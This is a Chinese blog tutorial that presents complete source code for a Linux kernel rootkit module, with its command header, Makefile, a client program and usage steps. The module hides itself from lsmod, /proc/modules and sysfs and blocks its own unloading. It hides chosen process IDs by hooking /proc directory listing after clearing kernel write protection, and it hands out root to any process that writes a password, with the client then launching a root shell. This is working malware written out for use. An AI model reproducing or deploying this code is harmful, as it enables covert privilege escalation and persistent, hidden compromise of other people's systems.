rootkit:在隐藏模块的基础上隐藏进程
上篇随笔中实现了隐藏进程,在实际的处理中,经常会用模块来达到修改系统调用的目的,但是当插入一个模块时,若不采取任何隐藏措施,很容易被对方发现,一旦对方发现并卸载了所插入的模块,那么所有利用该模块来隐藏的文件就暴露了,所以应继续分析如何来隐藏特定名字的模块。
这里我们可以通过/proc文件系统来向内核传递命令的方式,实现获取root权限、隐藏模块、隐藏进程、显示进程、显示模块、允许卸载模块等功能。
对于什么是/proc文件系统,以及如何通过它来跟内核通信,可以参考这里: http://www.ibm.com/developerworks/cn/linux/l-proc.html
下面直接贴代码:
1 /*rootkit.c*/ 2 #include <linux/module.h> 3 #include<linux/kernel.h> 4 #include<linux/proc_fs.h> 5 #include<linux/sched.h> 6 #include<linux/string.h> 7 #include<linux/cred.h> 8 #include<linux/stat.h> 9 #include<linux/uaccess.h> 10 #include<linux/file.h> 11 #include "rootkit_conf.h" 12 13 MODULE_LICENSE("GPL") ; 14 MODULE_AUTHOR("Ormi<ormi.ormi@gmail.com>") ; 15 MODULE_DESCRIPTION("Simple rootkit using procfs") ; 16 MODULE_VERSION("0.1.2"); 17 static int failed; 18 int orig_cr0; 19 static char pid[10][32]; 20 static int pid_index; 21 /* Here are pointers in which we save original, replaced pointers. We use 22 them later, during unloading the module. 23 I think that their names explain what they are ;) */ 24 static int (*old_proc_readdir)(struct file *, void *, filldir_t); 25 static filldir_t old_filldir ; 26 static ssize_t (*old_fops_write) (struct file *, const char __user *,size_t, loff_t *); 27 static ssize_t (*old_fops_read)(struct file *, char __user *, size_t, loff_t*); 28 static write_proc_t *old_write; 29 static read_proc_t *old_read; 30 static struct proc_dir_entry *ptr; /* Pointer to "infected" entry */ 31 static struct proc_dir_entry *root; /* Pointer to /proc directory */ 32 static struct list_head *prev; /* Pointer to entry in main modules list whichwas before our module before we hid the rootkit */ 33 static struct file_operations *fops; /* file_operations of infected entry */ 34 static struct file_operations *root_fops; /* file_operations of /procdirectory */ 35 36 37 static unsigned int clear_and_return_cr0(void)// 38 { 39 unsigned int cr0 = 0; 40 unsigned int ret; 41 42 asm volatile ("movl %%cr0, %%eax" 43 : "=a"(cr0)//eaxcr0 44 ); 45 ret = cr0;// 46 47 /*clear the 16th bit of CR0,*/ 48 cr0 &= 0xfffeffff; 49 asm volatile ("movl %%eax, %%cr0" 50 : 51 : "a"(cr0) 52 ); 53 return ret; 54 } 55 56 static void setback_cr0(unsigned int val) 57 { 58 asm volatile ("movl %%eax, %%cr0" 59 : 60 : "a"(val) 61 ); 62 } 63 64 static inline void module_remember_info(void)//save the pointer to the prev of hide module 65 { 66 prev = THIS_MODULE->list.prev; 67 } 68 static inline void module_show(void)//lsmod 69 { 70 list_add(&THIS_MODULE->list, prev); /* We add our module to main list of modules */ 71 } 72 73 /* Parameter of this function is pointer to buffer in which there should be 74 command */ 75 76 static int check_buf(const char __user *buf) 77 { 78 /* Here we give root privileges */ 79 struct cred *new = prepare_creds();//return current process's cred struct 80 if (!strcmp(buf, password)) { 81 new->uid = new->euid = 0; 82 new->gid = new->egid = 0; 83 commit_creds(new); 84 } 85 86 /* Here we make possible to unload the module by "rmmod" */ 87 else if (!strcmp(buf, module_release)) 88 module_put(THIS_MODULE);//count-- 89 /* Here we make module visible */ 90 else if (!strcmp(buf, module_uncover)) 91 module_show();//add to the list 92 /* We hide process */ 93 else if (!strncmp(buf, hide_proc, strlen(hide_proc))) { 94 if (pid_index > 9) /*max number of the hided process is 10*/ 95 return 0; 96 sprintf(pid[pid_index], "%s", buf + 5); 97 pid_index++; 98 } 99 /* We "unhide" lastly hidden process */ 100 else if (!strncmp(buf, unhide_proc, strlen(unhide_proc))) { 101 if (!pid_index) 102 return 0; 103 pid_index--; 104 } 105 /* If we are here, there was no command passed */ 106 else 107 return 1; 108 return 0; 109 } 110 111 112 113 /* Our "write" function */ 114 static int buf_write(struct file *file, const char __user *buf,unsigned long count, void *data) 115 { 116 /* If check_buf return 0, there was command passed */ 117 if (!check_buf(buf)) 118 return count; 119 /* Otherwise we execute original function */ 120 return old_write(file, buf, count, data); 121 } 122 123 124 125 /* Our "read" function for read_proc field*/ 126 static int buf_read(char __user *buf, char **start, off_t off,int count, int *eof, void *data) 127 { 128 if (!check_buf(buf)) 129 return count; 130 return old_read(buf, start, off, count, eof, data); 131 } 132 133 134 /* For file_operations structure */ 135 static ssize_t fops_write(struct file *file, const char __user *buf_user,size_t count, loff_t *p) 136 { 137 if (!check_buf(buf_user)) 138 return count; 139 return old_fops_write(file, buf_user, count, p); 140 } 141 142 143 /* For file_operations structure */ 144 static ssize_t fops_read(struct file *file, char __user *buf_user,size_t count, loff_t *p) 145 { 146 147 if (!check_buf(buf_user)) 148 return count; 149 return old_fops_read(file, buf_user, count, p); 150 } 151 152 153 /* Our filldir function */ 154 static int new_filldir(void *__buf, const char *name, int namelen,loff_t offset, u64 ino, unsigned d_type) 155 { 156 int i; 157 /* We check if "name" is pid of one of hidden processes */ 158 for (i = 0; i < pid_index; i++) 159 if (!strcmp(name, pid[i])) 160 return 0; /* If yes, we don't display it */ 161 /* Otherwise we invoke original filldir */ 162 return old_filldir(__buf, name, namelen, offset, ino, d_type); 163 } 164 165 166 167 /* Our readdir function */ 168 static int new_proc_readdir(struct file *filp, void *dirent, filldir_t filldir) 169 { 170 /* To invoke original filldir in new_filldir we have to remeber pointer to 171 original filldir */ 172 old_filldir = filldir; 173 /* We invoke original readdir, but as "filldir" parameter we give pointer to 174 our filldir */ 175 return old_proc_readdir(filp, dirent, new_filldir) ; 176 } 177 178 179 180 /* Here we replace readdir function of /proc */ 181 static inline void change_proc_root_readdir(void) 182 { 183 root_fops = (struct file_operations *)root->proc_fops; 184 old_proc_readdir = root_fops->readdir; 185 186 root_fops->readdir = new_proc_readdir; 187 188 } 189 190 191 static inline void proc_init(void)//commond 192 { 193 ptr = create_proc_entry("temporary", 0444, NULL); 194 ptr = ptr->parent; 195 /* ptr->parent was pointer to /proc directory */ 196 /* If it wasn't, something is seriously wrong */ 197 if (strcmp(ptr->name, "/proc") != 0) { 198 failed = 1; 199 return; 200 } 201 root = ptr; 202 remove_proc_entry("temporary", NULL); 203 204 orig_cr0 = clear_and_return_cr0(); 205 change_proc_root_readdir(); /* We change /proc's readdir function */ 206 setback_cr0(orig_cr0); /*set the wp*/ 208 ptr = ptr->subdir; 209 /* Now we are searching entry we want to infect */ 210 while (ptr) { 211 if (strcmp(ptr->name, passwaiter) == 0) 212 goto found; /* Ok, we found it */ 213 ptr = ptr->next; /* Otherwise we go to next entry */ 214 } 215 /* If we didn't find it, something is wrong :( */ 216 failed = 1; 217 return; 218 found: 219 /* Let's begin infecting */ 220 /* We save pointers to original reading and writing functions, to restore them during unloading the rootkit */ 221 old_write = ptr->write_proc; 222 old_read = ptr->read_proc; 223 fops = (struct file_operations *)ptr->proc_fops; /* Pointer tofile_operations structure of infected entry */ 224 old_fops_read = fops->read; 225 old_fops_write = fops->write; 226 227 orig_cr0 = clear_and_return_cr0(); /*set back the wp*/ 228 229 /* We replace write_proc/read_proc */ 230 if (ptr->write_proc) 231 ptr->write_proc = buf_write; 232 else if (ptr->read_proc) 233 ptr->read_proc = buf_read; 234 235 /* We replace read/write from file_operations */ 236 if (fops->write) 237 fops->write =fops_write; 238 else if (fops->read) 239 fops->read = fops_read; 240 241 setback_cr0(orig_cr0); 242 /* There aren't any reading/writing functions? Error! */ 243 if (!ptr->read_proc && !ptr->write_proc &&!fops->read && !fops->write) { 244 failed = 1; 245 return; 246 } 247 } 248 249 250 /* This functions does some "cleanups". If we don't set some pointers tu 251 NULL, 252 we can cause Oops during unloading rootkit. We free some structures, 253 because we don't want to waste memory... */ 254 static inline void tidy(void) 255 { 256 kfree(THIS_MODULE->notes_attrs); 257 THIS_MODULE->notes_attrs = NULL; 258 kfree(THIS_MODULE->sect_attrs); 259 THIS_MODULE->sect_attrs = NULL; 260 kfree(THIS_MODULE->mkobj.mp); 261 THIS_MODULE->mkobj.mp = NULL; 262 THIS_MODULE->modinfo_attrs->attr.name = NULL; 263 kfree(THIS_MODULE->mkobj.drivers_dir); 264 THIS_MODULE->mkobj.drivers_dir = NULL; 265 } 266 267 268 269 /* 270 We must delete some structures from lists to make rootkit harder to detect. 271 */ 272 static inline void rootkit_hide(void) 273 { 274 list_del(&THIS_MODULE->list);//lsmod,/proc/modules 275 kobject_del(&THIS_MODULE->mkobj.kobj);// /sys/modules 276 list_del(&THIS_MODULE->mkobj.kobj.entry);// kobj struct list_head entry 277 } 278 279 280 static inline void rootkit_protect(void) 281 { 282 try_module_get(THIS_MODULE);// count++ 283 } 284 285 286 static int __init rootkit_init(void) 287 { 288 module_remember_info(); 289 proc_init(); 290 if (failed) 291 return 0; 292 rootkit_hide(); 293 tidy(); 294 rootkit_protect(); 295 return 0 ; 296 } 297 298 299 300 static void __exit rootkit_exit(void) 301 { 302 /* If failed, we don't have to do any cleanups */ 303 if (failed) 304 return; 305 orig_cr0 = clear_and_return_cr0(); 306 root_fops->readdir = old_proc_readdir; 307 fops->write = old_fops_write; 308 fops->read = old_fops_read; 309 ptr->write_proc = old_write; 310 ptr->read_proc = old_read; 311 setback_cr0(orig_cr0); 312 } 313 314 315 module_init(rootkit_init); 316 module_exit(rootkit_exit);
命令头文件:
1 /*rootkit_conf.h*/ 2 static char password[] = "secretpassword" ; //give here password 3 static char passwaiter[] = "version" ; //here is name of entry to infect in /proc - you pass commands to it 4 static char module_release[] = "release" ; //command to release the module(make possible to unload it) 5 static char module_uncover[] = "uncover" ; //command to show the module 6 static char hide_proc[] = "hide" ; //command to hide specified process 7 static char unhide_proc[] = "unhide"; //command to "unhide" last hidden process
对应的Makefile
1 KERNELDIR=/usr/src/linux-headers-3.2.0-39-generic-pae 2 PWD:=$(shell pwd) 3 obj-m :=rootkit.o 4 modules: 5 $(MAKE) -C $(KERNELDIR) M=$(PWD) modules 6 clean: 7 rm -rf *.o *~ core .depend .*.cmd *.ko *.mod.c *.order *.symvers
测试程序:
1 /*test_rootkit.c*/ 2 #include<stdio.h> 3 #include<unistd.h> 4 #include<fcntl.h> 5 #include<string.h> 6 #include<errno.h> 7 #include<sys/stat.h> 8 #include "rootkit_conf.h" 9 static char file[64]; 10 static char command[64]; 11 int root = 0; 12 int main(int argc, char *argv[]) 13 { 14 if(argc < 2) 15 { 16 fprintf(stderr, "Usage: %s <command>\n", argv[0]); 17 return 1; 18 } 19 int fd ; 20 /* We get path to infected entry */ 21 sprintf(file, "/proc/%s", passwaiter); 22 23 /* If sent command is equal to command which has to give us root, we must run shell at the end */ 24 if(!strcmp(argv[1], password)) 25 root = 1; 26 27 /* At first we try to write command to that entry */ 28 fd = open(file, O_WRONLY); 29 if(fd < 1) 30 { 31 printf("Opening for writing failed! Trying to open for reading!\n"); 32 /* Otherwise, we send command by reading */ 33 fd = open(file, O_RDONLY); 34 if(!fd) { 35 perror("open"); 36 return 1; 37 } 38 read(fd, argv[1], strlen(argv[1])); 39 } 40 else 41 write(fd, argv[1], strlen(argv[1])); 42 end: 43 close(fd) ; 44 printf("[+] I did it!\n") ; 45 /* if we have to get root, we run shell */ 46 if(root) { 47 uid_t uid = getuid() ; 48 printf("[+] Success! uid=%i\n", uid) ; 49 setuid(0) ; 50 setgid(0) ; 51 execl("/bin/bash", "bash", 0) ; 52 } 53 return 0; 54 }
编译生成模块 rootkit.ko,并加载进内核
默认情况下,我们已经隐藏了模块rootkit.ko 所以不管是 lsmod 还是 ls /proc/modules 或则 ls /sys/modules 是看不到rootkit.ko的。
此时编译运行test_rootkit.c
并传入参数:1:secretpassword 此时可以获得root权限
2:uncover 此时运行lsmod可以查看到模块rootkit.ko
3: release 此时才可以用rmmode卸载模块rootkit.ko,默认情况下是不可以卸载的,因为我们在模块里设置了正在使用模块标记count=1,所以必须传命令release 让count=0,这样才可以卸载
4:hide:12 此时就可以隐藏进程号为12的进程
5:unhide 此时就可以显示最近隐藏的进程